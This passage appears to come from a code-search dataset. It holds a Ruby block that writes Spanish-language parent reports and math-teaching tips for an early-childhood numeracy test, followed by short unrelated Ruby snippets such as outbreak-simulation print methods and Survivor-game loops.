obtener la solución. Hay que intentar que entienda que no es necesario contar todos los objetos. Es más eficaz contar a partir del número mayor. Una vez que lo haya superado, se retira el material concreto y la tarea debe realizarse de forma mental.\n\"\n\nelsif @test.edad.between?(72, 77) && @test.pi_cal < 4 then\n @h = \"El/la estudiante se encuentra en proceso de adquirir las habilidades de cálculo informal de acuerdo a lo esperado para la edad que posee.\nAlgunas recomendaciones para apoyar al estudiante:\n\n\n* Las sumas pueden plantearse como historias sencillas, pero poniendo énfasis en que lo principal es la suma. Si la historia es sobre un niño que empieza con manzanas y consigue una más, debe enfatizarse que no es un asunto de cómo son las manzanas, sino que empieza con 2 cosas y se añade una más. También es importante que el niño aprenda que puede usar material concreto para resolver el problema. Cada bloque, dedo o ficha representa un objeto de la historia; después puede contar los objetos para hallar la solución. \n\n* El objetivo es demostrar al niño el uso del conteo en la resolución de problemas de suma. Es decir, primero deben aprender que contar es un buen método para sumar y después aprenderán la manera eficaz de hacerlo. Una vez logrado esto, se puede retirar el material concreto y animar al niño a realizar la actividad mentalmente. \n\"\n\n\n# 78 a83\n\nelsif @test.edad.between?(78, 83) && @test.pi_cal > 3 then\n @h= \"El/la estudiante ha adquirido las habilidades de cálculo informal de acuerdo a lo esperado para su edad.\nAlgunas recomendaciones para mejorar lo aprendido:\n\n\n* Para ayudar al niño a realizar sumas mentales, primero se debe empezar por resolver la tarea de suma con material manipulable concreto, como bloques, fichas o dedos, de forma que el niño pueda contar objetos para obtener la solución. Hay que intentar que entienda que no es necesario contar todos los objetos. Es más eficaz contar a partir del número mayor. Una vez que lo haya superado, se retira el material concreto y la tarea debe realizarse de forma mental.\n\"\n\n\nelsif @test.edad.between?(78, 83) && @test.pi_cal < 4 then\n @h = \"El/la estudiante se encuentra en proceso de adquirir las habilidades de cálculo informal de acuerdo a lo esperado para la edad que posee.\nAlgunas recomendaciones para apoyar al estudiante:\n\n\n* Las sumas pueden plantearse como historias sencillas, pero poniendo énfasis en que lo principal es la suma. Si la historia es sobre un niño que empieza con manzanas y consigue una más, debe enfatizarse que no es un asunto de cómo son las manzanas, sino que empieza con 2 cosas y se añade una más. También es importante que el niño aprenda que puede usar material concreto para resolver el problema. Cada bloque, dedo o ficha representa un objeto de la historia; después puede contar los objetos para hallar la solución. \n\n* El objetivo es demostrar al niño el uso del conteo en la resolución de problemas de suma. Es decir, primero deben aprender que contar es un buen método para sumar y después aprenderán la manera eficaz de hacerlo. Una vez logrado esto, se puede retirar el material concreto y animar al niño a realizar la actividad mentalmente. \n\"\n\n\n\n\n# 84 a 101\n\nelsif @test.edad.between?(84, 101) && @test.pi_cal > 3 then\n @h= \"El/la estudiante ha adquirido las habilidades de cálculo informal de acuerdo a lo esperado para su edad.\nAlgunas recomendaciones para practicar lo aprendido y/o generar nuevos aprendizajes:\n\n\n* Practicar sumas y restas mentales con cantidades mayores. Una vez mejorado el cálculo mental les puede servir como base del escrito. Por ejemplo, supongamos que el niño resuelve un problema del tipo 16 + 12 pensando: “diez y diez son veinte, y seis y dos son ocho, la respuesta es veintiocho”. Sumando primero las decenas y después las unidades, están explotando las propiedades claves del sistema de base diez.\n\"\n\nelsif @test.edad.between?(84, 101) && @test.pi_cal < 4 then\n @h = \"El/la estudiante se encuentra en proceso de adquirir las habilidades de cálculo informal de acuerdo a lo esperado para la edad que posee.\nAlgunas recomendaciones para apoyar al estudiante:\n\n\n* Para ayudar al niño a realizar sumas mentales, primero se debe empezar por resolver la tarea del cálculo con material manipulable concreto, como bloques, fichas o dedos, de forma que el niño pueda contar objetos para obtener la solución. Hay que intentar que entienda que no es necesario contar todos los objetos. Es más eficaz contar a partir del número mayor. Una vez que lo haya superado, se retira el material concreto y la tarea debe realizarse de forma mental. \n\n* Practicar sumas y restas mentales con diversas cantidades. Una vez mejorado el cálculo mental les puede servir como base del escrito. Por ejemplo, supongamos que el niño resuelve un problema del tipo 16 + 12 pensando: “diez y diez son veinte, y seis y dos son ocho, la respuesta es veintiocho”. Sumando primero las decenas y después las unidades, están explotando las propiedades claves del sistema de base diez.\n\"\n \nend\n\n\n\n\n# Convencionalismos\n\n# 60 a 71\n\nif @test.edad.between?(60, 71) && @test.pf_conv > 1 then\n @i= \"El/la estudiante ha adquirido las habilidades de lectura y escritura de cantidades de acuerdo a lo esperado para su edad.\nAlgunas recomendaciones para mejorar lo aprendido:\n\n\n* Proporcionar al niño práctica en la escritura de números. El niño puede aprender a escribir los números copiándolos de un cuaderno y libro. El niño disfrutará copiándolos y luego decorándolos con colores y motivos alegres y variados. Solo necesitan la oportunidad de dedicarse libremente a dibujar y copiar, sin la necesidad de una instrucción. \n\n* Ofrecer al niño varios juegos que le proporcionen práctica con la lectura de números. Primero se le debe incentivar a que lean números de un dígito (por ejemplo, en un libro o cuaderno), pero una vez dominado esto se le debe enseñar las reglas para leer números de 2 dígitos. El niño debe saber que la posición es crucial: los números que indican las unidades están a la derecha, los números que indican las decenas están a su izquierda. Así, en 18, el 1 de la izquierda indica “diez” y el 8 de la derecha indica “ocho”. \n\"\n\nelsif @test.edad.between?(60, 71) && @test.pf_conv < 2 then\n @i = \"El/la estudiante se encuentra en proceso de adquirir las habilidades de lectura y escritura de cantidades de acuerdo a lo esperado para la edad que posee.\nAlgunas recomendaciones para apoyar al estudiante:\n\n\n* Darle al niño la oportunidad de que vea los números dibujados en libros bonitos, así aprenderán a leerlos. Estos libros deben ser ilustrados, agradables y apropiados para niños pequeños. También se le puede presentar juegos en los que el niño tenga que leer los dígitos para, por ejemplos, avanzar su posición. \n\n* Proporcionar al niño práctica en la escritura de números. El niño puede aprender a escribir los números copiándolos de un cuaderno y libro. El niño disfrutará copiándolos y luego decorándolos con colores y motivos alegres y variados. Solo necesitan la oportunidad de dedicarse libremente a dibujar y copiar, sin la necesidad de una instrucción. \n\"\n\n\n# 72 a 77 \n\nelsif @test.edad.between?(72, 77) && @test.pf_conv > 4 then\n @i= \"El/la estudiante ha adquirido las habilidades de lectura y escritura de cantidades por encima de lo esperado para la edad que posee.\nAlgunas recomendaciones para practicar lo aprendido y/o generar nuevos aprendizajes:\n\n\n* Ofrecer al niño varios juegos que le proporcionen práctica con la lectura de números. Primero se le debe incentivar a que lean números de un dígito (por ejemplo, en un libro o cuaderno), pero una vez dominado esto se le debe enseñar las reglas para leer números de 2 dígitos. El niño debe saber que la posición es crucial: los números que indican las unidades están a la derecha, los números que indican las decenas están a su izquierda. Así, en 28, el 2 de la izquierda indica “veinte” y el 8 de la derecha indica “ocho”. \n\n* Pedirle al niño que con 2 dígitos construya el mayor número posible. Por ejemplo, dado el 2 y el 9, el niño puede escribir 29 o 92. \n\n* Una vez dominada la lectura y escritura de números con 2 dígitos, continuar con la lectura de números de 3 dígitos. El niño debe saber que la posición es crucial: los números que están a la derecha son las unidades, los que indican las decenas están al medio y los números que indican las centenas las que están a la izquierda. Así en 321, el 3 de la izquierda indica “trescientos”, el 2 del medio indica “veinte” y el 1 de la derecha indica “uno”. \n\n* Enseñar al niño con los errores que cometen otras personas. De esta manera, pueden ver que alguien escribe 200304 en lugar de 234 porque escriben los números como suenan. Normalmente resulta más fácil aprender del error cuando lo cometen otros. \n\"\n\nelsif @test.edad.between?(72, 77) && @test.pf_conv.between?(3, 4) then\n @i = \"El/la estudiante ha adquirido las habilidades de lectura y escritura de cantidades de acuerdo a lo esperado para su edad.\nAlgunas recomendaciones para mejorar lo aprendido:\n\n\n* Ofrecer al niño varios juegos que le proporcionen práctica con la lectura de números. Primero se le debe incentivar a que lean números de un dígito (por ejemplo, en un libro o cuaderno), pero una vez dominado esto se le debe enseñar las reglas para leer números de 2 dígitos. El niño debe saber que la posición es crucial: los números que indican las unidades están a la derecha, los números que indican las decenas están a su izquierda. Así, en 18, el 1 de la izquierda indica “diez” y el 8 de la derecha indica “ocho”. \n\"\n\nelsif @test.edad.between?(72, 77) && @test.pf_conv < 3 then\n @i = \"El/la estudiante se encuentra en proceso de adquirir las habilidades de lectura y escritura de acuerdo a lo esperado para la edad que posee.\nAlgunas recomendaciones para apoyar al estudiante:\n\n\n* Darle al niño la oportunidad de que vea los números dibujados en libros bonitos, así aprenderán a leerlos. Estos libros deben ser ilustrados, agradables y apropiados para niños pequeños. También se le puede presentar juegos en los que el niño tenga que leer los dígitos para, por ejemplos, avanzar su posición. \n\n* Proporcionar al niño práctica en la escritura de números. El niño puede aprender a escribir los números copiándolos de un cuaderno y libro. El niño disfrutará copiándolos y luego decorándolos con colores y motivos alegres y variados. Solo necesitan la oportunidad de dedicarse libremente a dibujar y copiar, sin la necesidad de una instrucción. \n\"\n\n\n# 78 a83\n\nelsif @test.edad.between?(78, 83) && @test.pf_conv > 5 then\n @i= \"El/la estudiante ha adquirido las habilidades de lectura y escritura de cantidades por encima de lo esperado para la edad que posee.\nAlgunas recomendaciones para practicar lo aprendido y/o generar nuevos aprendizajes:\n\n\n* Ofrecer al niño varios juegos que le proporcionen práctica con la lectura de números. Primero se le debe incentivar a que lean números de un dígito (por ejemplo, en un libro o cuaderno), pero una vez dominado esto se le debe enseñar las reglas para leer números de 2 dígitos. El niño debe saber que la posición es crucial: los números que indican las unidades están a la derecha, los números que indican las decenas están a su izquierda. Así, en 28, el 2 de la izquierda indica “veinte” y el 8 de la derecha indica “ocho”. \n\n* Pedirle al niño que con 2 dígitos construya el mayor número posible. Por ejemplo, dado el 2 y el 9, el niño puede escribir 29 o 92. \n\n* Una vez dominada la lectura y escritura de números con 2 dígitos, continuar con la lectura de números de 3 dígitos. El niño debe saber que la posición es crucial: los números que están a la derecha son las unidades, los que indican las decenas están al medio y los números que indican las centenas las que están a la izquierda. Así en 321, el 3 de la izquierda indica “trescientos”, el 2 del medio indica “veinte” y el 1 de la derecha indica “uno”. \n\n* Enseñar al niño con los errores que cometen otras personas. De esta manera, pueden ver que alguien escribe 200304 en lugar de 234 porque escriben los números como suenan. Normalmente resulta más fácil aprender del error cuando lo cometen otros. \n\"\n\nelsif @test.edad.between?(78, 83) && @test.pf_conv.between?(4, 5) then\n @i = \"El/la estudiante ha adquirido las habilidades de lectura y escritura de cantidades de acuerdo a lo esperado para su edad.\nAlgunas recomendaciones para mejorar lo aprendido:\n\n\n* Ofrecer al niño varios juegos que le proporcionen práctica con la lectura de números. Primero se le debe incentivar a que lean números de un dígito (por ejemplo, en un libro o cuaderno), pero una vez dominado esto se le debe enseñar las reglas para leer números de 2 dígitos. El niño debe saber que la posición es crucial: los números que indican las unidades están a la derecha, los números que indican las decenas están a su izquierda. Así, en 18, el 1 de la izquierda indica “diez” y el 8 de la derecha indica “ocho”. \n\"\n\nelsif @test.edad.between?(78, 83) && @test.pf_conv < 4 then\n @i = \"El/la estudiante se encuentra en proceso de adquirir las habilidades de lectura y escritura de acuerdo a lo esperado para la edad que posee.\nAlgunas recomendaciones para apoyar al estudiante:\n\n\n* Darle al niño la oportunidad de que vea los números dibujados en libros bonitos, así aprenderán a leerlos. Estos libros deben ser ilustrados, agradables y apropiados para niños pequeños. También se le puede presentar juegos en los que el niño tenga que leer los dígitos para, por ejemplos, avanzar su posición. \n\n* Proporcionar al niño práctica en la escritura de números. El niño puede aprender a escribir los números copiándolos de un cuaderno y libro. El niño disfrutará copiándolos y luego decorándolos con colores y motivos alegres y variados. Solo necesitan la oportunidad de dedicarse libremente a dibujar y copiar, sin la necesidad de una instrucción. \n\"\n\n\n# 84 a 89\n\nelsif @test.edad.between?(84, 89) && @test.pf_conv > 7 then\n @i= \"El/la estudiante ha adquirido las habilidades de lectura y escritura de cantidades por encima de lo esperado para la edad que posee.\nAlgunas recomendaciones para practicar lo aprendido y/o generar nuevos aprendizajes:\n\n\n* Una vez dominada la lectura y escritura de números con 2 dígitos, continuar con la lectura de números de 3 dígitos. El niño debe saber que la posición es crucial: los números que están a la derecha son las unidades, los que indican las decenas están al medio y los números que indican las centenas las que están a la izquierda. Así en 321, el 3 de la izquierda indica “trescientos”, el 2 del medio indica “veinte” y el 1 de la derecha indica “uno”. \n\n* Enseñar al niño con los errores que cometen otras personas. De esta manera, pueden ver que alguien escribe 200304 en lugar de 234 porque escriben los números como suenan. Normalmente resulta más fácil aprender del error cuando lo cometen otros. \n\n* Una vez dominada la lectura y escritura de números con 3 dígitos, continuar con la lectura de números de 3 dígitos siguiente los métodos descritos anteriormente. Nuevamente el niño debe saber que la posición es crucial: los números que están a la derecha de todo son las unidades, los que indican las decenas están justo a su izquierda, los números que indican las centenas están a la izquierda de las decenas y, por último, los números que indican los millares son los que están más a la izquierda. \n\"\n\nelsif @test.edad.between?(84, 89) && @test.pf_conv.between?(5, 7) then\n @i = \"El/la estudiante ha adquirido las habilidades de lectura y escritura de cantidades de acuerdo a lo esperado para su edad.\nAlgunas recomendaciones para mejorar lo aprendido:\n\n\n* Ofrecer al niño varios juegos que le proporcionen práctica con la lectura de números. Primero se le debe incentivar a que lean números de un dígito (por ejemplo, en un libro o cuaderno), pero una vez dominado esto se le debe enseñar las reglas para leer números de 2 dígitos. El niño debe saber que la posición es crucial: los números que indican las unidades están a la derecha, los números que indican las decenas están a su izquierda. Así, en 28, el 2 de la izquierda indica “veinte” y el 8 de la derecha indica “ocho”. \n\n* Pedirle al niño que con 2 dígitos construya el mayor número posible. Por ejemplo, dado el 2 y el 9, el niño puede escribir 29 o 92. \n\n* Una vez dominada la lectura y escritura de números con 2 dígitos, continuar con la lectura de números de 3 dígitos. El niño debe saber que la posición es crucial: los números que están a la derecha son las unidades, los que indican las decenas están al medio y los números que indican las centenas las que están a la izquierda. Así en 321, el 3 de la izquierda indica “trescientos”, el 2 del medio indica “veinte” y el 1 de la derecha indica “uno”. \n\n* Enseñar al niño con los errores que cometen otras personas. De esta manera, pueden ver que alguien escribe 200304 en lugar de 234 porque escriben los números como suenan. Normalmente resulta más fácil aprender del error cuando lo cometen otros. \n\"\n\nelsif @test.edad.between?(84, 89) && @test.pf_conv < 5 then\n @i = \"El/la estudiante se encuentra en proceso de adquirir las habilidades de lectura y escritura de acuerdo a lo esperado para la edad que posee.\nAlgunas recomendaciones para apoyar al estudiante:\n\n\n* Ofrecer al niño varios juegos que le proporcionen práctica con la lectura de números. Primero se le debe incentivar a que lean números de un dígito (por ejemplo, en un libro o cuaderno), pero una vez dominado esto se le debe enseñar las reglas para leer números de 2 dígitos. El niño debe saber que la posición es crucial: los números que indican las unidades están a la derecha, los números que indican las decenas están a su izquierda. Así, en 18, el 1 de la izquierda indica “diez” y el 8 de la derecha indica “ocho”. \n\"\n\n\n# 90 a 101\n\nelsif @test.edad.between?(90, 101) && @test.pf_conv > 5 then\n @i= \"El/la estudiante ha adquirido las habilidades de lectura y escritura de cantidades de acuerdo a lo esperado para su edad.\nAlgunas recomendaciones para mejorar lo aprendido:\n\n\n* Ofrecer al niño varios juegos que le proporcionen práctica con la lectura de números. Primero se le debe incentivar a que lean números de un dígito (por ejemplo, en un libro o cuaderno), pero una vez dominado esto se le debe enseñar las reglas para leer números de 2 dígitos. El niño debe saber que la posición es crucial: los números que indican las unidades están a la derecha, los números que indican las decenas están a su izquierda. Así, en 28, el 2 de la izquierda indica “veinte” y el 8 de la derecha indica “ocho”. \n\n* Pedirle al niño que con 2 dígitos construya el mayor número posible. Por ejemplo, dado el 2 y el 9, el niño puede escribir 29 o 92. \n\n* Una vez dominada la lectura y escritura de números con 2 dígitos, continuar con la lectura de números de 3 dígitos. El niño debe saber que la posición es crucial: los números que están a la derecha son las unidades, los que indican las decenas están al medio y los números que indican las centenas las que están a la izquierda. Así en 321, el 3 de la izquierda indica “trescientos”, el 2 del medio indica “veinte” y el 1 de la derecha indica “uno”. \n\n* Enseñar al niño con los errores que cometen otras personas. De esta manera, pueden ver que alguien escribe 200304 en lugar de 234 porque escriben los números como suenan. Normalmente resulta más fácil aprender del error cuando lo cometen otros. \n\"\n\nelsif @test.edad.between?(90, 101) && @test.pf_conv < 6 then\n @i = \"El/la estudiante se encuentra en proceso de adquirir las habilidades de lectura y escritura de acuerdo a lo esperado para la edad que posee.\nAlgunas recomendaciones para apoyar al estudiante:\n\n\n* Ofrecer al niño varios juegos que le proporcionen práctica con la lectura de números. Primero se le debe incentivar a que lean números de un dígito (por ejemplo, en un libro o cuaderno), pero una vez dominado esto se le debe enseñar las reglas para leer números de 2 dígitos. El niño debe saber que la posición es crucial: los números que indican las unidades están a la derecha, los números que indican las decenas están a su izquierda. Así, en 18, el 1 de la izquierda indica “diez” y el 8 de la derecha indica “ocho”. \n\"\n \nend\n\n\n\n\n# Hechos Numéricos\n\n# 60 a 89\n\nif @test.edad.between?(60, 89) then\n @j= \"No se evalúa esta área para el rango de edad de su hijo/a.\"\n\n# 90 a 101\n\nelsif @test.edad.between?(90, 101) && @test.pf_hecho > 6 then\n @j= \"El/la estudiante ha adquirido las habilidades de realizar operaciones sencillas (suma, resta y multiplicación) sin necesidad de realizar el cálculo por encima de lo esperado para la edad que posee.\nAlgunas recomendaciones para practicar lo aprendido y/o generar nuevos aprendizajes:\n\n\n* En el caso de las restas como 10 - 3, la mejor técnica de solución es la estrategia de contar hacia atrás, es decir, comenzar en 10 y contar hacia atrás 3. También se le puede presentar al niño actividades para que capte la relación complementaria entre la suma y la resta. Esto puede encontrarse en la tabla de restar. Por ejemplo, si el niño mira la columna que muestra todos los números restados de 10, verá que los resultados van incrementándose en uno, consiguiendo al final la secuencia numérica:\no 10 - 10 = 0\no 10 - 9 = 1\no 10 - 8 = 2\no 10 - 7 = 3\no 10 - 6 = 4\no 10 - 5 = 5, y así sucesivamente. \n\n* En el caso de las sumas como 8 + 5, la estrategia más común es seguir contando a partir del número mayor (8 + 5 son “ocho, nueve, diez… trece”) o el uso de varios trucos como llegar hasta 10 y después añadir lo que falta contando (“8 + 5 son trece, porque ocho y dos son diez, y después con los tres que quedan son trece”). \n\n* En el caso de las multiplicaciones como N x 1, el patrón es fácil de ver y lleva al niño a la conclusión de que al multiplicar un número por uno, el resultado es ese mismo número. Esta regla se aplica a todos los números. También es importante darle al niño juegos con material concreto del concepto de multiplicación. Por ejemplo, puede ser útil la analogía de que 3x1 es como tener 3 canicas en una bolsa. Hay en total 3 canicas. La multiplicación 3x2 es como tener dos bolsas de 3 canicas, en total son 6 canicas y así sucesivamente. \n\n* En el caso de las multiplicaciones como N x 0, se puede utilizar un juego muy sencillo. Se trata de que el niño no meta nada en una bolsa, por ejemplo un gato de juguete, después debe mirar dentro de ella y asegurarse de que no hay ningún gato. Pedirle, a continuación, que haga lo mismo con otra bolsa y con otra: así se le da la oportunidad de ver, concretamente, que N x 0 es igual a 0. \n\n* En el caso de las multiplicaciones como 3 x 2, el niño puede descubrir el patrón: 3 x 2 es lo mismo que 3 + 3. Puede aprender que “multiplicar por dos” es lo mismo que sumar el mismo número dos veces o calcular el doble. Esta regla se aplica a todos los números. \n\"\n\nelsif @test.edad.between?(90, 101) && @test.pf_hecho.between?(4, 6) then\n @j = \"El/la estudiante ha adquirido las habilidades de realizar operaciones sencillas (suma, resta y multiplicación) sin necesidad de realizar el cálculo de acuerdo a lo esperado para su edad.\nAlgunas recomendaciones para mejorar lo aprendido:\n\n\n* En el caso de las sumas, como 3 + 4, la mejor estrategia de pensamiento es simplemente “seguir contando” desde el número mayor (“cuatro, cinco, seis y siete”). Este método les proporciona una estrategia útil para resolver problemas de suma cuando no recuerden los hechos numéricos correspondientes. Animar al niño a no adivinar las sumas en el caso de que no las sepan de memoria, sino animarlo a seguir contando. \n\n* En el caso de las multiplicaciones, como N x 1, el patrón es fácil de ver y lleva al niño a la conclusión de que al multiplicar un número por uno, el resultado es ese mismo número. Esta regla se aplica a todos los números. También es importante darle al niño juegos con material concreto del concepto de multiplicación. Por ejemplo, puede ser útil la analogía de que 3x1 es como tener 3 canicas en una bolsa. Hay en total 3 canicas. La multiplicación 3x2 es como tener dos bolsas de 3 canicas, en total son 6 canicas y así sucesivamente. \n\n* En el caso de las multiplicaciones como N x 0, se puede utilizar un juego muy sencillo. Se trata de que el niño no meta nada en una bolsa, por ejemplo un gato de juguete, después debe mirar dentro de ella y asegurarse de que no hay ningún gato. Pedirle, a continuación, que haga lo mismo con otra bolsa y con otra: así se le da la oportunidad de ver, concretamente, que N x 0 es igual a 0. \n\n* En el caso de las restas del tipo 2N - N, el patrón lleva a la conclusión de que la respuesta es la misma que el número que has quitado. Esta regla, después, se aplica a muchos números: aquellos en que la cantidad que se quita (el sustraendo) es la mitad de la cantidad de partida (minuendo), por ejemplo 6 - 3, 10 - 5, etc. También se le puede enseñar un juego con material concreto, utilizando objetos y una bolsa de plástico. Así, se introduce un número par de objetos en una bolsa, que previamente se ha dividido en dos partes (con una cinta adhesiva de un color, por ejemplo). Al niño se le muestra que el total se forma sumando las dos partes iguales. Además, se puede insistir en la relación inversa: si al total le quitamos una de las partes, nos queda la otra. También se le puede plantear ejercicios del tipo: \no 2 - 1 = 1 \no 4 - 2 = 2\no 6 - 3 = 3 \no 8 - 4 = 4\no ¿Cuál es el siguiente?\n\"\n\nelsif @test.edad.between?(90, 101) && @test.pf_hecho < 4 then\n @j = \"El/la estudiante se encuentra en proceso de adquirir las habilidades de realizar operaciones sencillas (suma, resta y multiplicación) sin necesidad de realizar el cálculo de acuerdo a lo esperado para la edad que posee.\nAlgunas recomendaciones para apoyar al estudiante:\n\n* Enseñar al niño que en hechos numéricos como 2 - 2 (dos menos dos), se puede observar que si se resta un número de sí mismo el resultado es “cero”. El patrón es fácil y esta regla se aplica a todos los números. \n\n* En el caso de las sumas, como 3 + 4, la mejor estrategia de pensamiento es simplemente “seguir contando” desde el número mayor (“cuatro, cinco, seis y siete”). Este método les proporciona una estrategia útil para resolver problemas de suma cuando no recuerden los hechos numéricos correspondientes. Animar al niño a no adivinar las sumas en el caso de que no las sepan de memoria, sino animarlo a seguir contando. \n\"\n \nend\n\n\n\n# Cálculo FORMAL \n\n# 60 a 89\n\nif @test.edad.between?(60, 89) then\n @k= \"No se evalúa esta área para el rango de edad de su hijo/a.\"\n\n\n# 90 a 95\n\nelsif @test.edad.between?(90, 95) && @test.pi_comp > 5 then\n @k= \"El/la estudiante ha adquirido las habilidades de cálculo formal por encima de lo esperado para la edad que posee.\nAlgunas recomendaciones para practicar lo aprendido y/o generar nuevos aprendizajes:\n\n\n* Ofrecer diferentes experiencias con el sistema decimal, puede hacer uso también de material concreto. Recordar que el sistema decimal es básico en la aritmética elemental pues es la base de la escritura de los números.\n\n* Si el niño presenta dificultades con el algoritmo de la resta escrita con “llevadas” es importante trabajar con materiales concretos (como el material multibase o regletas de Cuissinaire) con el fin de desarrollar una comprensión básica del método estándar. \n\n* Inventar problemas retadores con los niños de tal manera que se necesite hacer cálculos de suma o resta de forma escrita para resolverlos.\n\"\n\nelsif @test.edad.between?(90, 95) && @test.pi_comp.between?(2, 5) then\n @k = \"El/la estudiante ha adquirido las habilidades de cálculo formal de acuerdo a lo esperado para su edad.\nAlgunas recomendaciones para mejorar lo aprendido:\n\n\n* Fomentar la comprensión del valor posicional, el estudiante necesita aprender por qué los números han de ser alineados, para operar desde la derecha. Es recomendable enseñar el algoritmo estándar mediante actividades manipulativas.\n\n* Fomentar la comprensión del método, y no solo abordar de forma mecánica la resolución de la cuenta con la simple aplicación del algoritmo. Preguntar al niño cómo está realizando sus operaciones y por qué lo hace de esa forma.\n\n* Ofrecer diferentes experiencias con el sistema decimal mediante el trabajo con material concreto. Recordar que el sistema decimal es básico en la aritmética elemental pues es la base de la escritura de los números.\n\n* Inventar problemas con los niños de tal manera que se necesite hacer cálculos de suma o resta de forma escrita para resolverlos.\n\"\n\nelsif @test.edad.between?(90, 95) && @test.pi_comp < 2 then\n @k = \"El/la estudiante se encuentra en proceso de adquirir las habilidades cálculo formal de acuerdo a lo esperado para la edad que posee.\nAlgunas recomendaciones para apoyar al estudiante:\n\n\n* Fomentar la comprensión del valor posicional, el estudiante necesita aprender por qué los números han de ser alineados, para operar desde la derecha. Es recomendable enseñar el algoritmo estándar mediante actividades manipulativas.\n\n* Emplear juegos con material concreto para enseñar la suma y resta de 10 desde una decena. Se pueden usar cubitos (o palitos) unidos para formar las decenas y luego sumar o restar decenas con estos materiales.\n\n* Inventar problemas sencillos con los niños de tal manera que se necesite hacer cálculos de suma o resta de forma escrita para resolverlos.\n\"\n\n\n# 96 a 101\n\nelsif @test.edad.between?(96, 101) && @test.pi_comp > 7 then\n @k= \"El/la estudiante ha adquirido las habilidades de cálculo formal por encima de lo esperado para la edad que posee.\nAlgunas recomendaciones para practicar lo aprendido y/o generar nuevos aprendizajes:\n\n\n* Ofrecer diferentes experiencias con el sistema decimal, puede hacer uso también de material concreto. Recordar que el sistema decimal es básico en la aritmética elemental pues es la base de la escritura de los números.\n\n* Si el niño presenta dificultades con el algoritmo de la resta escrita con “llevadas” es importante trabajar con materiales concretos (como el material multibase o regletas de Cuissinaire) con el fin de desarrollar una comprensión básica del método estándar. \n\n* Inventar problemas retadores con los niños de tal manera que se necesite hacer cálculos de suma o resta de forma escrita para resolverlos.\n\"\n\nelsif @test.edad.between?(96, 101) && @test.pi_comp.between?(5, 7) then\n @k = \"El/la estudiante ha adquirido las habilidades de cálculo formal de acuerdo a lo esperado para su edad.\nAlgunas recomendaciones para mejorar lo aprendido:\n\n\n* Fomentar la comprensión del valor posicional, el estudiante necesita aprender por qué los números han de ser alineados, para operar desde la derecha. Es recomendable enseñar el algoritmo estándar mediante actividades manipulativas.\n\n* Fomentar la comprensión del método, y no solo abordar de forma mecánica la resolución de la cuenta con la simple aplicación del algoritmo. Preguntar al niño cómo está realizando sus operaciones y por qué lo hace de esa forma.\n\n* Ofrecer diferentes experiencias con el sistema decimal mediante el trabajo con material concreto. Recordar que el sistema decimal es básico en la aritmética elemental pues es la base de la escritura de los números.\n\n* Inventar problemas con los niños de tal manera que se necesite hacer cálculos de suma o resta de forma escrita para resolverlos.\n\"\n\nelsif @test.edad.between?(96, 101) && @test.pi_comp < 5 then\n @k = \"El/la estudiante se encuentra en proceso de adquirir las habilidades cálculo formal de acuerdo a lo esperado para la edad que posee.\nAlgunas recomendaciones para apoyar al estudiante:\n\n\n* Fomentar la comprensión del valor posicional, el estudiante necesita aprender por qué los números han de ser alineados, para operar desde la derecha. Es recomendable enseñar el algoritmo estándar mediante actividades manipulativas.\n\n* Emplear juegos con material concreto para enseñar la suma y resta de 10 desde una decena. Se pueden usar cubitos (o palitos) unidos para formar las decenas y luego sumar o restar decenas con estos materiales.\n\n* Inventar problemas sencillos con los niños de tal manera que se necesite hacer cálculos de suma o resta de forma escrita para resolverlos.\n\"\n \nend\n \n end","def virus_effects\n print \"#{@state} will lose #{predicted_deaths} people in this outbreak and will spread across the state in #{speed_of_spread} months.\\n\\n\"\n end","def virus_effects\n print \"#{@state} will lose #{predicted_deaths} people in this outbreak and will spread across the state in #{speed_of_spread} months.\\n\\n\"\n end","def virus_effects\n print \"#{@state} will lose #{predicted_deaths} people in this outbreak and will spread across the state in #{speed_of_spread} months.\\n\\n\"\n end","def virus_effects\n print \"#{@state} will lose #{predicted_deaths} people in this outbreak and will spread across the state in #{speed_of_spread} months.\\n\\n\"\n end","def virus_effects\n print predicted_deaths\n puts speed_of_spread\n end","def phase_one\n puts \"Phase 1 has been started\"\n\n 8.times do\n selected_tribe = @borneo.immunity_challenge\n\t\tputs \"#{selected_tribe} was the tribe selected to vote\".yellow\n\t\tvoted_off = selected_tribe.tribal_council\n\t\tputs \"#{voted_off} was voted OUT!\".red\n end\nend","def onomatopoeic(raindrop)\n PHONEMES.reduce nil do |morpheme, (factor, phoneme)|\n if raindrop.modulo(factor).zero?\n [morpheme, phoneme].join\n else\n morpheme\n end\n end\n end","def passive_voice_indicative_mood_future_tense\n end","def gunfire_nominee(peridiastolic_proctor, scabland_shakenly, hypoalimentation_ensweep)\n petricola_foraminifer(henry_speculatrix, underwrite)\n laconic_cagayan_swarty(semitaur_documentize, papilionaceous)\n end","def virus_effects\n speed_of_spread(predicted_deaths()) \n\n end"],"string":"[\n \"def topsman_periphacitis_urosteon()\\n end\",\n \"def phase_one\\n 8.times do\\n @borneo.immunity_challenge.tribal_council()\\n puts\\n end\\nend\",\n \"def superweening_adorningly(counterstand_pyrenomycetales)\\n end\",\n \"def phase_one\\n puts \\\"~~~~~PHASE 1~~~~~\\\".yellow\\n 8.times do\\n @borneo.immunity_challenge.tribal_council\\n puts\\n end\\nend\",\n \"def work_out\\n self.happiness += 2\\n self.hygiene -= 3\\n return \\\"♪ another one bites the dust ♫\\\" \\n end\",\n \"def work_out\\n self.happiness = @happiness + 2\\n self.hygiene = @hygiene - 3\\n \\\"♪ another one bites the dust ♫\\\"\\n end\",\n \"def in_law; end\",\n \"def wreathmaking(squilla, noncarbonate_tilly, angionosis_parvolin)\\n prealarm_plaidie_premolar(philofelist, unacceptableness_printless)\\n suzan()\\n end\",\n \"def take_bath\\n self.hygiene += 4\\n return \\\"♪ Rub-a-dub just relaxing in the tub ♫\\\"\\n @hygiene\\n end\",\n \"def romeo_and_juliet; end\",\n \"def combustion_eff_to_thermal_eff(combustion_eff)\\n \\n return combustion_eff - 0.007 # Per PNNL doc, Boiler Addendum 90.1-04an\\n \\nend\",\n \"def take_bath\\n self.hygiene += 4\\n return \\\"♪ Rub-a-dub just relaxing in the tub ♫\\\"\\n end\",\n \"def take_bath\\n self.hygiene += 4\\n return \\\"♪ Rub-a-dub just relaxing in the tub ♫\\\"\\n end\",\n \"def king_richard_iii; end\",\n \"def bellini; end\",\n \"def phase_one\\n\\tputs \\\"Phase 1\\\"\\n\\t8.times do\\n\\t\\ttribe_lost = @borneo.immunity_challenge\\n\\t\\tputs \\\"#{tribe_lost.name} lost the game for immunity.\\\".green\\n\\t\\tmember_voted_out = tribe_lost.tribal_council\\n\\t\\tputs \\\"The tribe has spoken! 